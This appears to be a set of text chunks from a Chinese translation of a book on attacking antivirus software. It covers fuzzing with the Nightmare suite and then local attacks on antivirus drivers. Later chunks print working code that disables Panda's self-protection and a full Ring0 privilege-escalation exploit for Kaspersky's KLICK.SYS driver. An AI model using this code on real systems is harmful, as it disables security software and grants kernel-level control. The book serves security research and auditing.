    {"text": "可以通过运行bcf.py来了解如何在命令行模式下使用BCCF： nightmare/fuzzers$ ./bcf.py Usage: ./bcf.py (32|64) <config file> <section> <input_file> <output directory> [<max iterations>] The first argument to ./bcf.py is the architecture, 32bit or 64bit. 我们可以使用如下指令，使模糊测试样本代码最大化地覆盖到Bitdefender antivirus的特性： $ ./bcf.py 32 bcf.cfg BitDefender ../samples/av/sample.lnk out 100 [Wed Apr 22 13:41:04 2015 7590:140284692117312] Selected a maximum size of 6 change(s) to apply [Wed Apr 22 13:41:04 2015 7590:140284692117312] Input file is ../samples/av/041414-18376-01.dmp.lnk [Wed Apr 22 13:41:04 2015 7590:140284692117312] Recording a total of 10 value(s) of coverage... [Wed Apr 22 13:41:15 2015 7590:140284692117312] Statistics: Min 24581, Max 24594, Avg 24586.400000, Bugs 0 [Wed Apr 22 13:41:15 2015 7590:140284692117312] Maximizing file in 100 iteration(s) [Wed Apr 22 13:41:29 2015 7590:140284692117312] GOOD! Found an interesting change at 0x0! Covered basic blocks 24604, original maximum 24594 [Wed Apr 22 13:41:29 2015 7590:140284692117312] Writing discovered generation file 4d120a4e3bc360815a7113bccc642fedfd537479 (out/generation_4d120a4e3bc360815a7113bccc642fedfd537479.lnk) [Wed Apr 22 13:41:29 2015 7590:140284692117312] New statistics: Min 24594, Max 24604, Avg 24599.000000 [Wed Apr 22 13:41:33 2015 7590:140284692117312] GOOD! Found an interesting change at 0x0! Covered basic blocks 24605, original maximum 24604 [Wed Apr 22 13:41:33 2015 7590:140284692117312] Writing discovered generation file e349166e31de0793af62e6ac11ecda20e8a759bd (out/generation_e349166e31de0793af62e6ac11ecda20e8a759bd.lnk) (...) BCCF会尝试使用样本sample.lnk进行最高100次迭代来最大化代码覆盖，接着BCCF会将生成的样本保存到相关目录下。"},
    {"text": "一段时间后，我们将能看到类似以下信息： [Wed Apr 22 13:47:04 2015 7590:140284692117312] New statistics: Min 24654, Max 24702, Avg 24678.000000 [Wed Apr 22 13:47:13 2015 7590:140284692117312] Iteration 100, current generation value -2, total generation(s) preserved 8 [Wed Apr 22 13:47:18 2015 7590:140284692117312] File successfully maximized from min 24581, max 24594 to min 24654, max 24702 [Wed Apr 22 13:47:18 2015 7590:140284692117312] File out/51de04329d92a435c6fd3eef5930982467c9a25f.max written to disk 原始文件覆盖了24 594个基础区块，代码覆盖最大化的生成样本覆盖了24 702个基础区块：整整多出108个基础区块。"},
    {"text": "我们也可以对BCCF进行配置，使其不是通过一系列迭代最大化样本代码覆盖率，而是不断执行，直到人工移除最后一个参数而停止工具的执行： $ ./bcf.py 32 bcf.cfg BitDefender ../samples/av/041414-18376-01.dmp.lnk out [Wed Apr 22 11:45:42 2015 28514:139923369727808] Selected a maximum size of 7 change(s) to apply [Wed Apr 22 11:45:42 2015 28514:139923369727808] Input file is ../samples/av/041414-18376-01.dmp.lnk [Wed Apr 22 11:45:42 2015 28514:139923369727808] Recording a total of 10 value(s) of coverage... [Wed Apr 22 11:45:51 2015 28514:139923369727808] Statistics: Min 24582, Max 24588, Avg 24584.750000, Bugs 0 [Wed Apr 22 11:45:51 2015 28514:139923369727808] Fuzzing... [Wed Apr 22 11:48:00 2015 28514:139923369727808] GOOD! Found an interesting change at 0x0! Covered basic blocks 24589, original maximum 24588 [Wed Apr 22 11:48:00 2015 28514:139923369727808] Writing discovered generation file 064b4e7b6ec94a8870f6150d8a308111bb3b313e (out/generation_064b4e7b6ec94a8870f6150d8a308111bb3b313e.lnk) [Wed Apr 22 11:48:00 2015 28514:139923369727808] New statistics: Min 24588, Max 24589, Avg 24588.500000 [Wed Apr 22 11:48:03 2015 28514:139923369727808] GOOD! Found an interesting change at 0xa5e! Covered basic blocks 24596, original maximum 24589 [Wed Apr 22 11:48:03 2015 28514:139923369727808] Writing discovered generation file d5f30e9a01109eb87363b2e6cf1807c000d5b598 (out/generation_d5f30e9a01109eb87363b2e6cf1807c000d5b598.lnk) [Wed Apr 22 11:48:03 2015 28514:139923369727808] New statistics: Min 24589, Max 24596, Avg 24592.500000 (...) [Wed Apr 22 13:39:42 2015 28514:139923369727808] Iteration 1915, current generation value -10, total generation(s) preserved 7 [Wed Apr 22 13:39:45 2015 28514:139923369727808] GOOD! Found an interesting change at 0x2712c! Covered basic blocks 30077, original maximum 30074 [Wed Apr 22 13:39:45 2015 28514:139923369727808] Writing discovered generation file 0d409746bd76a546d2e8ef4535674c60daa90021 (out/generation_0d409746bd76a546d2e8ef4535674c60daa90021.lnk) [Wed Apr 22 13:39:45 2015 28514:139923369727808] New statistics: Min 30074, Max 30077, Avg 30075.500000 [Wed Apr 22 13:40:28 2015 28514:139923369727808] Dropping current generation and statistics as we have too many bad results [Wed Apr 22 13:40:28 2015 28514:139923369727808] Statistics: Min 30071, Max 30074, Avg 30072.500000, Bugs 0 [Wed Apr 22 13:40:28 2015 28514:139923369727808] Iteration 1927, current generation value -7, total generation(s) preserved 7 (...) 在本例中，BCCF创建了一系列代码覆盖率最大化的样本文件，最后一次迭代生成时，可以发现BCCF成功将代码覆盖率从24 588个基础区块提升到了30 074个基础区块：整整多了5486个！"},
    {"text": "前面已经给出了Nightmare模糊测试套组的下载地址： https://github.com/joxeankoret/nightmare/ 。 可以通过以下指令，从GitHub上复制下载一份Nightmare模糊测试套组的最新版本： $ git clone https://github.com/joxeankoret/nightmare.git 下载安装包后，打开doc/install.txt，然后按照其中介绍的步骤进行操作。 install.txt在线版可以通过如下地址获取： https://github.com/joxeankoret/nightmare/blob/master/doc/install.txt 。"},
    {"text": "为了能够执行一些模糊测试修改器（比如针对MachO或OLE2容器文件格式的智能模糊测试修改器）和二进制探测器，我们可以有选择地安装以下依赖组件： DynamoRIO 一款开源二进制探测工具，可以通过 www.dynamorio.org 下载；"},
    {"text": "安装完Nightmare所有依赖组件，并创建完成MySQL数据库后，通过以下指令完成安装Nightmare模糊测试套组的最后一步： $ cd nightmare/runtime $ python nightmare_frontend.py 运行上述指令以后，程序默认会在localhost:8080启动一个Web server。"},
    {"text": "如图13-1所示，我们只要使用浏览器访问 http://localhost:8080 ，点击Configuration链接，配置样本路径、模版路径、安装路径、Beanstalkd监听的地址及其端口（默认为11300）。"},
    {"text": "图13-1 Nightmare模糊测试套组的最后一个配置项 正确配置完这些选项以后，就只需要配置待模糊测试的目标了。 配置Nightmare 我们以ClamAV antivirus Linux版为目标，配置Nightmare模糊测试套组。"},
    {"text": "配置并运行fuzzer 我们需要转到目录nightmare/fuzzers下，并编辑文件generic.cfg增加以下几行数据来配置fuzzer： #----------------------------------------------------------------------- # Configuration for ClamAV #----------------------------------------------------------------------- [ClamAV] # Command line to launch it command=/usr/bin/clamscan --quiet # Base tube name basetube=clamav # The tube the fuzzer will use to pull of samples tube=%(basetube)s-samples # The tube the fuzzer will use to record crashes crash-tube=%(basetube)s-crash # Extension for the files to be fuzzed extension=.fil # Timeout for this fuzzer timeout=90 # Environment environment=clamav-environment [clamav-environment] MALLOC_CHECK_=3 之前运行BCCF的过程中，在运行待测软件之前，我们需要设置运行指令、环境变量，以及超时。"},
    {"text": "但这次，除了进行这些配置以外，还需要配置其他变量，比如与放置模糊测试项目任务路径相关的管道前缀，还有崩溃管道（存储崩溃信息的目录）。"},
    {"text": "完成所有配置后，打开一个terminal并运行以下指令： $ cd nightmare/fuzzers joxean@box:~/nightmare/fuzzers$ ./generic_fuzzer.py generic.cfg ClamAV terminal显示的结果如下所示： [Wed Apr 22 19:07:35 2015 19453:140279998961472] Launching fuzzer, listening in tube clamav-samples 这时候，fuzzer会无限期等待任务分配。"},
    {"text": "在另一个terminal里，运行以下指令为项目创建样本： $ cd nightmare/runtime $ python nfp_engine.py [Wed Apr 22 19:11:35 2015 20075:139868713940800] Reading configuration from database... [Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value SAMPLES_PATH is /home/joxean/nightmare/results [Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value TEMPLATES_PATH is /home/joxean/nightmare/samples [Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value NIGHTMARE_PATH is /home/joxean/nightmare [Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value QUEUE_HOST is localhost [Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value QUEUE_PORT is 11300 [Wed Apr 22 19:11:35 2015 20075:139868713940800] Starting generator... [Wed Apr 22 19:11:35 2015 20075:139868713940800] Creating sample for ClamAV from folder av for tube clamav mutator Radamsa multiple [Wed Apr 22 19:11:35 2015 20075:139868713940800] Generating mutated file /home/joxean/nightmare/results/tmpfZ8uLu [Wed Apr 22 19:11:35 2015 20075:139868713940800] Putting it in queue and updating statistics... [Wed Apr 22 19:11:35 2015 20075:139868713940800] Creating sample for ClamAV from folder av for tube clamav mutator Radamsa multiple [Wed Apr 22 19:11:35 2015 20075:139868713940800] Generating mutated file /home/joxean/nightmare/results/tmpM4wbSE [Wed Apr 22 19:11:35 2015 20075:139868713940800] Putting it in queue and updating statistics... [Wed Apr 22 19:11:35 2015 20075:139868713940800] Creating sample for ClamAV from folder av for tube clamav mutator Radamsa multiple [Wed Apr 22 19:11:35 2015 20075:139868713940800] Generating mutated file /home/joxean/nightmare/results/tmp44Nk6G [Wed Apr 22 19:11:36 2015 20075:139868713940800] Putting it in queue and updating statistics... [Wed Apr 22 19:11:36 2015 20075:139868713940800] Creating sample for ClamAV from folder av for tube clamav mutator Radamsa multiple [Wed Apr 22 19:11:36 2015 20075:139868713940800] Generating mutated file /home/joxean/nightmare/results/tmptRy_Je [Wed Apr 22 19:11:37 2015 20075:139868713940800] Putting it in queue and updating statistics... (...) 脚本nfp_engine.py会创建样本并将其放入队列中。 现在，如果我们回到fuzzer等待任务分配的terminal中，会看到类似下列的结果： $ python generic_fuzzer.py generic.cfg ClamAV [Wed Apr 22 19:14:47 2015 20324:140432407086912] Launching fuzzer, listening in tube clamav-samples [Wed Apr 22 19:14:47 2015 20324:140432407086912] Launching debugger with command /usr/bin/clamscan --quiet /tmp/tmpbdMx7p.fil [Wed Apr 22 19:14:52 2015 20324:140432407086912] Launching debugger with command /usr/bin/clamscan --quiet /tmp/tmpwxEVO2.fil (...) [Wed Apr 22 19:15:37 2015 20324:140432407086912] Launching debugger with command /usr/bin/clamscan --quiet /tmp/tmptBJ0cr.fil LibClamAV Warning: Bytecode runtime error at line 56, col 9 LibClamAV Warning: [Bytecode JIT]: recovered from error LibClamAV Warning: [Bytecode JIT]: JITed code intercepted runtime error! LibClamAV Warning: Bytecode 40 failed to run: Error during bytecode execution (...) [Wed Apr 22 19:16:55 2015 20324:140432407086912] Launching debugger with command /usr/bin/clamscan --quiet /tmp/tmpRAoDQ2.fil LibClamAV Warning: cli_scanicon: found 6 invalid icon entries of 6 total [Wed Apr 22 19:17:57 2015 20324:140432407086912] Launching debugger with command /usr/bin/clamscan --quiet /tmp/tmpOOIWnE.fil LibClamAV Warning: PE file contains 16389 sections (...) 最终，我们让fuzzer跑起来了！"},
    {"text": "回到Web界面，点击Statistics链接，我们会看到类似图13-4的结果： 图13-4 查看模糊测试统计图表 最终，如果选取的模糊测试模版恰当再加上一点小运气，模糊测试目标进程就会崩溃。"},
    {"text": "图13-5 查看模糊测试结果 我们可以在上述界面处下载会产生崩溃的样本，并对比样本文件经历的改动，来创建可以触发相关缺陷的针对性样本，同时查看register值和调用栈等。"},
    {"text": "有简单的模糊测试工具，也有相对高级复杂的，它们通常有以下功能特性： 模糊测试修改器 该模块用于对模糊测试模版、传入文件、协议或文件格式进行修改；"},
    {"text": "代码覆盖测试是一种基于在目标程序运行过程中，探测被执行的不同指令、基础区块或函数的动态分析技术。 代码覆盖测试通常是模糊测试套组的一个子模块部分。 进行代码覆盖测试通常是为了能够挖掘出未涉及的新代码路径，以便挖掘出背后潜藏的相关漏洞。 本章主要探讨了两种代码覆盖测试技术： 使用符号化执行和SMT处理器来解释被执行或在目标二进制文件中发现的代码，获取代码中使用的变量，并将其虚拟化，生成SMT公式，然后让SMT处理器来挖掘出能够覆盖更多特性的传入样本的代码变动； 对模糊测试模版文件进行随机或半随机的变动修改，然后使用二进制探测工具，来检查新的修改能否挖掘出可以覆盖到新特性的代码。"},
    {"text": "Cover 黑客攻防技术宝典：反病毒篇 版权声明 All Rights Reserved. This translation published under license. Authorized translation from the English language edition, entitled The Antivirus Hacker's Handbook , ISBN 978-1-119-02875-8, by Joxean Koret and Elias Bachaalany, published by John Wiley & Sons. No part of this book may be reproduced in any form without the written permission of the original copyrights holder. Simplified Chinese translation edition published by POSTS & TELECOM PRESS Copyright © 2017． 本书简体中文版由John Wiley & Sons, Inc.授权人民邮电出版社独家出版。 本书封底贴有John Wiley & Sons, Inc.激光防伪标签，无标签者不得销售。 版权所有，侵权必究。"},
    {"text": "黑客攻防技术宝典：反病毒篇 第 14 章 本地攻击 本地攻击技术是一种用于在接触到本地目标计算机后，利用产品或其相关模块的漏洞进行攻击的技术。"},
    {"text": "借助这类技术，攻击者能够将用户权限从普通用户直接提升到拥有更高权限的用户（比如，SYSTEM或root用户），在最糟糕的情况下，甚至可以获取到内核层面的权限。"},
    {"text": "更好的消息是，这类漏洞因为需要对产品作出重大改动，所以无法很容易地修复。 这类漏洞和产品的相关模块深度整合交织，在不产生其他新漏洞的情况下，修复这类逻辑漏洞很难。"},
    {"text": "14.1 利用后门和隐藏功能 一些产品包含特定的后门或隐藏功能，可以让启用或禁用某些特定产品功能变得容易许多（一般技术支持会使用这些后门或隐藏的功能）。 这类后门在产品的开发阶段十分有用，但无论是有意还是无意的，如果在线上正式发布的产品中带有这些后门或隐藏功能，那么它们最终会被攻击者发现并利用。"},
    {"text": "如图14-1所示，为了防止反病毒进程被在同一个计算机上运行的“AV终结者”病毒结束，Panda反病毒软件借助内核驱动对某些进程启用了相关防护。 图14-1 Panda反病毒的自我防护盾会防止任务管理器禁用Panda反病毒的进程 但是，该内核驱动可以和任意进程自由通信。"},
    {"text": "注意到如此奇怪的代码后，我打算编写一个C++程序来弄清楚，使用神奇的UUID值调用该函数后会发生什么： /** Tool to disable the shield (auto-protection) of Panda Global Protection */ #include <iostream> #include <windows.h> #include <rpc.h> using namespace std; typedef BOOL (*disable_shield_t)(UUID*); int main() { HMODULE hlib = LoadLibrary(\"C:\\\\Program Files (x86)\\\\Common Files\\\\\" \"Panda Security\\\\PavShld\\\\PavShld.dll\"); if ( hlib ) { cout << \"[+] Loaded pavshld.dll library\" << endl; UUID secret_key; UuidFromString( (unsigned char *)\"ae217538-194a-4178-9a8f-2606b94d9f13\", &secret_key); disable_shield_t p_disable_shield; p_disable_shield = (disable_shield_t)GetProcAddress(hlib, \"PAVSHLD_0001\"); if ( p_disable_shield != NULL ) { cout << \"[+] Resolved function PAVSHLD_0001\" << endl; if ( p_disable_shield(&secret_key) ) cout << \"[+] Antivirus disabled!\" << endl; else cout << \"[-] Failed to disable antivirus: \" << GetLastError() << endl; } else cout << \"[-] Cannot resolve function PAVSHLD_0001 :(\" << endl; } else { cout << \"Cannot load pavshld.dll library, sorry\" << endl; } return 0; } 上述代码加载库文件PavShld.dll然后调用了导出的函数 PAVSHLD_001 。"},
    {"text": "PAVSHLD_001 函数会校验是否传入了秘密UUID值并包含如下代码： .text:3DA26272 loc_3DA26272: ; CODE XREF: PAVSHLD_0001+5Bj .text:3DA26272 call sub_3DA260A0 .text:3DA26277 call check_supported_os .text:3DA2627C test eax, eax .text:3DA2627E jz short loc_3DA26286 ; ProcProt.dll!Func_0056 is meant to disable the av's shield .text:3DA26280 call g_Func_0056 此处我选择调用的函数是 g_Func_0056 ，它存在于库文件ProcProt.dll中，通过典型的 LoadLibrary 和 GetProcAddress 函数调用实现动态解析。"},
    {"text": "图14-2 ProcProt!Func_0056 的调用图表 Func_0056 函数最起码调用了两个函数，其最后调用了用于与内核设备驱动通信的Windows API DeviceIoControl 。"},
    {"text": "库文件导出的函数 Func_0056 调用了函数 sub_3EA05180 ，又调用了汇编代码如下的API： .text:3EA0519F loc_3EA0519F ; CODE XREF: sub_3EA05180+11j .text:3EA0519F push 0 ; lpOverlapped .text:3EA051A1 lea ecx, [esp+8+BytesReturned] .text:3EA051A5 push ecx ; lpBytesReturned .text:3EA051A6 push 0 ; nOutBufferSize .text:3EA051A8 push 0 ; lpOutBuffer .text:3EA051AA push 0 ; nInBufferSize .text:3EA051AC push 0 ; lpInBuffer .text:3EA051AE push 86062018h ; IoControlCode to disable the shield .text:3EA051B3 push eax ; hDevice ; Final DeviceIoControl to instruct the driver to disable the protection .text:3EA051B4 call ds:DeviceIoControl 不管你相信与否，前面提到的存在于PavShld.dll中、只能通过传入隐藏的UUID字符串激活的后门，其实根本不需要UUID也能使用！"},
    {"text": "当我们通过反汇编库文件提取了上述两个信息后，就可以使用以下代码禁用Panda反病毒的自我防护了： #include <windows.h> int main(int argc, char **argv) { HANDLE hDevice = CreateFileA( \"\\\\\\\\.\\\\Global\\\\PAVPROTECT\", // DOS device name 0, 1u, 0, 3u, 0x80u, 0); if ( hDevice ) { DWORD BytesReturned; DeviceIoControl( hDevice, 0x86062018, 0, 0, 0, 0, &BytesReturned, 0); } return 0; } 该逻辑缺陷可以通过静态分析技术很轻松地挖掘出来。"},
    {"text": "比如，一个以SYSTEM权限运行的高权限应用使用了一些权限（ACL）配置不安全的应用，使一个没有特权的普通用户可以修改权限或与这些高权限应用交互，从而提升权限。"},
    {"text": "带有此类漏洞的产品数量说出来，你可能会大吃一惊：Oracle Windows版和IBM DB2数据库之前都存在此漏洞，而且在我查找其安全漏洞的过程中，最起码已知一款反病毒软件（Panda Global Protection 2012）存在类似漏洞。"},
    {"text": "当审计一款新软件的时候，第一步就是安装该款产品，然后重启机器，接着通过复查产品安装的服务、相关进程、其安装的每个特权进程的相关对象的权限控制（访问控制列表），来分析对应产品的本地攻击面。"},
    {"text": "Process Explorer很清楚地显示此处存在安全缺陷，这是因为任何可以接触该对象的人，也就是在本地机器上的、拥有任意权限的用户，都可以获取该进程的所有权。"},
    {"text": "接着会出现如图14-4这样的一个对话框： 图14-4 RemoteDLL工具的图形界面 在使用该工具的过程中，Operation和Inject Method选项保持默认不变，然后将Target Process设置为存在漏洞的WebProxy.exe进程。"},
    {"text": "可以参考以下使用C语言编写的简单库文件： #include <Windows.h> #include <stdlib.h> BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Real code would go here break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 上述动态链接库文件实际上并没有执行什么特别的操作。"},
    {"text": "图14-5 Panda反病毒阻断了注入DLL文件的操作 反病毒软件的日志文件中显示，RemoteDLL工具调用 CreateRemoteThread API来注入DLL文件的操作被侦测到了。 我们下面有几种办法可以继续实施攻击： (1) 禁用自我保护，此次注入被捕获的原因可能是Panda反病毒开启了自我保护；"},
    {"text": "该版本的卡巴斯基工具借助两个驱动来做系统的NDIS和TDI hook。 用于hook这类系统的驱动分别是KLICK.SYS和KLIN.SYS。 两个驱动都实现了一个插件系统，以安装其他模块的回调。"},
    {"text": "KLICK.SYS驱动（用来hook NDIS系统）注册的设备驱动的ACL没有约束力，因此任何用户都可以对设备 \\\\.\\KLICK DOS进行写操作，反过来，任意用户也都可以利用该内核驱动的隐藏功能。"},
    {"text": "让我们来看看驱动的 DriverEntry 方法： .text:00010A3D ; NTSTATUS __cdecl DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) .text:00010A3D public DriverEntry .text:00010A3D DriverEntry proc near .text:00010A3D .text:00010A3D SourceString= word ptr -800h .text:00010A3D var_30= UNICODE_STRING ptr -30h .text:00010A3D var_28= byte ptr -28h .text:00010A3D AnsiString= STRING ptr -1Ch .text:00010A3D DestinationString= UNICODE_STRING ptr -14h .text:00010A3D SymbolicLinkName= UNICODE_STRING ptr -0Ch .text:00010A3D ResultLength= dword ptr -4 .text:00010A3D DriverObject= dword ptr 8 .text:00010A3D RegistryPath= dword ptr 0Ch .text:00010A3D .text:00010A3D push ebp .text:00010A3E mov ebp, esp .text:00010A40 sub esp, 800h .text:00010A46 push ebx .text:00010A47 push esi .text:00010A48 mov esi, ds:RtlInitUnicodeString .text:00010A4E push edi .text:00010A4F lea eax, [ebp+DestinationString] .text:00010A52 push offset SourceString ; \\Device\\klick .text:00010A57 push eax ; DestinationString .text:00010A58 call esi ; RtlInitUnicodeString .text:00010A5A lea eax, [ebp+SymbolicLinkName] .text:00010A5D push offset aDosdevicesKlic ; \\DosDevices\\klick .text:00010A62 push eax ; DestinationString .text:00010A63 call esi ; RtlInitUnicodeString .text:00010A65 mov ebx, [ebp+DriverObject] .text:00010A68 xor esi, esi .text:00010A6A push offset DeviceObject ; DeviceObject .text:00010A6F push esi ; Exclusive .text:00010A70 push esi ; DeviceCharacteristics .text:00010A71 lea eax, [ebp+DestinationString] .text:00010A74 push 22h ; DeviceType .text:00010A76 push eax ; DeviceName .text:00010A77 push esi ; DeviceExtensionSize .text:00010A78 push ebx .text:00010A79 call uninteresting_10888 .text:00010A7E push eax ; DriverObject .text:00010A7F call ds:IoCreateDevice 该方法首先创建设备驱动 \\Device\\Klick ，以及机器对应的符号连接名称 \\DosDevices\\klick 。"},
    {"text": "接着，函数 device_handler 的地址被复制到了数组 DriverObject->Major-Function 中： .text:00010A97 lea edi, [ebx+_DRIVER_OBJECT.MajorFunction] .text:00010A9A pop ecx .text:00010A9B mov eax, offset device_handler ; Copy the device_handler to the MajorFunction table .text:00010AA0 rep stosd 函数 device_handler 就是我们想要分析来确定哪个IOCTL被处理，又是如何被处理的。 如果我们跟进该函数，会看到类似如下伪代码： NTSTATUS __stdcall device_handler( PDEVICE_OBJECT dev_obj, struct _IRP *Irp) { NTSTATUS err; // ebp@1 _IO_STACK_LOCATION *CurrentStackLocation; // eax@1 unsigned int InputBufferLength; // edx@1 unsigned int maybe_write_length; // edi@1 unsigned int io_control_code; // ebx@1 UCHAR irp_func; // al@1 err = 0; CurrentStackLocation = (_IO_STACK_LOCATION *)Irp->Tail.Overlay.CurrentStackLocation; InputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength; maybe_write_length = CurrentStackLocation->Parameters.Write.Length; io_control_code = CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode; irp_func = CurrentStackLocation->MajorFunction; if ( irp_func == IRP_MJ_DEVICE_CONTROL || irp_func == IRP_MJ_INTERNAL_DEVICE_CONTROL ) err = internal_device_handler( io_control_code, Irp->AssociatedIrp.SystemBuffer, InputBufferLength, Irp->AssociatedIrp.SystemBuffer, maybe_write_length, &Irp->IoStatus.Information); Irp->IoStatus.anonymous_0.Status = err; IofCompleteRequest(Irp, 0); return err; } 如你所见，该函数接受发送到IOCTL和 IoControlCode 的传入参数，然后将其传递给另一个被我称为 internal_device_handler 的函数。 在该函数中，根据IOCTL代码不同，其最终调用了另一个函数 sub_1172A ： 001170C loc_1170C: ; CODE XREF: internal_device_handler+1Ej 001170C ; internal_device_handler+25j 001170C push [ebp+iostatus_info] ; iostatus_info 001170F push [ebp+write_length] ; write_length 0011712 push [ebp+system_buf_write] ; SystemBufferWrite 0011715 push [ebp+input_buf_length] ; InputBufferLength 0011718 push [ebp+SystemBuffer] ; SystemBuffer 001171B push eax ; a2 001171C call sub_1172A 在 sub_1172A 函数中，可以很清楚地发现其中的漏洞。 如果我们使用Hex-Ray反汇编工具获取该函数的伪代码，然后查看处理IOCTL代码 0x80052110 部分的伪代码，会发现如下奇特的部分： (...) if ( io_control_code == 0x80052110 ) { if ( SystemBuffer && InputBufferLength >= 8 ) { v10 = (void *)(*(int (__cdecl **)(_DWORD))(*this + 20))(0); if ( v10 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v10 + 4))(v10); if ( sub_15306(v10, *(int (__cdecl **)(char *, char *, int))SystemBuffer, *((_DWORD *)SystemBuffer + 1)) ) (...) 注意反汇编软件显示的强制转换成函数指针的地方。"},
    {"text": "函数 sub_15306 包含如下代码： ; int __thiscall sub_15306( ; void *this, ; int (__cdecl *system_buffer)(char *, char *, int), l int a3) .text:00015306 sub_15306 proc near .text:00015306 var_20= byte ptr -20h .text:00015306 var_18= byte ptr -18h .text:00015306 var_10= byte ptr -10h .text:00015306 var_8= dword ptr -8 .text:00015306 var_4= dword ptr -4 .text:00015306 system_buffer= dword ptr 8 .text:00015306 arg_4= dword ptr 0Ch .text:00015306 .text:00015306 push ebp .text:00015307 mov ebp, esp .text:00015309 sub esp, 20h (...) .text:00015316 mov ecx, [ebp+arg_4] .text:00015319 lea edi, [esi+10h] .text:0001531C mov [esi+1ECh], ecx .text:00015322 push ecx .text:00015323 lea ecx, [esi+1B8h] .text:00015329 mov [esi+1F0h], eax .text:0001532F mov [edi], eax .text:00015331 mov eax, [ebp+system_buffer] ; Pointer to the SystemBuffer .text:00015334 push ecx .text:00015335 push edi .text:00015336 mov [esi+1ACh], eax .text:0001533C call eax ; Call *(DWORD *)SystemBuffer!!!! 驱动会调用通过IOCTL传递的缓冲区中的第一个DWORD中的任意地址，这就意味着任何人都可以在 Ring0 执行任意代码。"},
    {"text": "该函数会被驱动KLICK.SYS的插件使用，来注册插件和回调： (...) .text:0001535D push edi .text:0001535E push ecx .text:0001535F push offset aRegisterPlugin ; \"Register plugin: ID = <%x> <%s>\\r\\n\" .text:00015364 push 3 .text:00015366 push 8 .text:00015368 push eax .text:00015369 call dword ptr [edx+0Ch] 但是，ACL的驱动允许任何人以插件身份调用IOCTL代码。"},
    {"text": "下面是Ruben针对本漏洞编写的利用攻击程序： //////////////////////////////////// ///// AVP (Kaspersky) //////////////////////////////////// //// FOR EDUCATIONAL PURPOSES ONLY //// Kernel Privilege Escalation #2 //// Exploit //// Rubén Santamarta //// www.reversemode.com //// 01/09/2006 //// //////////////////////////////////// #include <windows.h> #include <stdio.h> void Ring0Function() { printf(\"----[RING0]----\\n\"); printf(\"Hello From Ring0!\\n\"); printf(\"----[RING0]----\\n\\n\"); exit(1); } VOID ShowError() { LPVOID lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); MessageBoxA(0,(LPTSTR)lpMsgBuf,\"Error\",0); exit(1); } int main(int argc, char *argv[]) { DWORD InBuff[1]; DWORD dwIOCTL,OutSize,InSize,junk; HANDLE hDevice; system(\"cls\"); printf(\"#######################\\n\"); printf(\"## AVP Ring0 Exploit ##\\n\"); printf(\"#######################\\n\"); printf(\"Ruben Santamarta\\nwww.reversemode.com\\n\\n\"); [1] hDevice = CreateFile(\"\\\\\\\\.\\\\KLICK\", 0, 0, NULL, 3, 0, 0); ////////////////////// ///// INFO ////////////////////// if (hDevice == INVALID_HANDLE_VALUE) ShowError(); printf(\"[!] KLICK Device Handle [%x]\\n\",hDevice); ////////////////////// ///// BUFFERS ////////////////////// [2] InSize = 0x8; [3] InBuff[0] =(DWORD) Ring0Function; // Ring0 ShellCode Address ////////////////////// ///// IOCTL ////////////////////// dwIOCTL = 0x80052110; printf(\"[!] IOCTL [0x%x]\\n\\n\",dwIOCTL); [4] DeviceIoControl(hDevice, dwIOCTL, InBuff,0x8, (LPVOID)NULL,0, &junk, NULL); return 0; } 上述代码中最有意思的部分已经使用粗体标出。"},
    {"text": "一篇名为“Angler Exploit Kit Gives Up on Malwarebytes Users”的博文中提到，如果Malwarebytes反病毒软件有以下错误表述，那么Angler Exploit Kit将无法进行操作。"},
    {"text": "我们几乎可以想象出，网络罪犯在发现他们耗尽了能用于躲避检测的二进制技巧储备而开发出来的新玩意儿已经被Malwarebytes检测到时，抱怨连篇的画面了。"},
    {"text": "初始化自动分析结束后，可以在入口点看到以下反汇编结果： INIT:0002D1DA ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) INIT:0002D1DA public DriverEntry INIT:0002D1DA DriverEntry proc near INIT:0002D1DA INIT:0002D1DA DriverObject = dword ptr 8 INIT:0002D1DA RegistryPath = dword ptr 0Ch INIT:0002D1DA INIT:0002D1DA mov edi, edi INIT:0002D1DC push ebp INIT:0002D1DD mov ebp, esp INIT:0002D1DF call sub_2D1A1 INIT:0002D1E4 pop ebp INIT:0002D1E5 jmp driver_entry INIT:0002D1E5 DriverEntry endp sub_2D1A1 函数计算安全Cookie，我们可以略过这里直接跳转至 driver_entry 。 在经过一些枯燥的分析后，我们可以看到与创建用于与驱动交互的设备对象相关的代码： INIT:0002D03E mov edi, ds:__imp_RtlInitUnicodeString INIT:0002D044 push offset aDeviceMbamswis; SourceString INIT:0002D049 lea eax, [ebp+DestinationString] INIT:0002D04C push eax ; DestinationString INIT:0002D04D call edi ; __imp_RtlInitUnicodeString INIT:0002D04F push offset aDosdevicesMb_0 ; SourceString INIT:0002D054 lea eax, [ebp+SymbolicLinkName] INIT:0002D057 push eax ; DestinationString INIT:0002D058 call edi ; __imp_RtlInitUnicodeString INIT:0002D05A lea eax, [ebp+DriverObject] INIT:0002D05D push eax ; DeviceObject INIT:0002D05E xor edi, edi INIT:0002D060 push edi ; Exclusive INIT:0002D061 push 100h ; DeviceCharacteristics INIT:0002D066 push 22h ; DeviceType INIT:0002D068 lea eax, [ebp+DestinationString] INIT:0002D06B push eax ; DeviceName INIT:0002D06C push edi ; DeviceExtensionSize INIT:0002D06D push esi ; DriverObject INIT:0002D06E call ds:IoCreateDevice 在 aDeviceMbamswis 或 aDosdevicesMb_0 名上双击，我们会看到其创建的完整设备名称： INIT:0002D2CE ; const WCHAR aDosdevicesMb_0 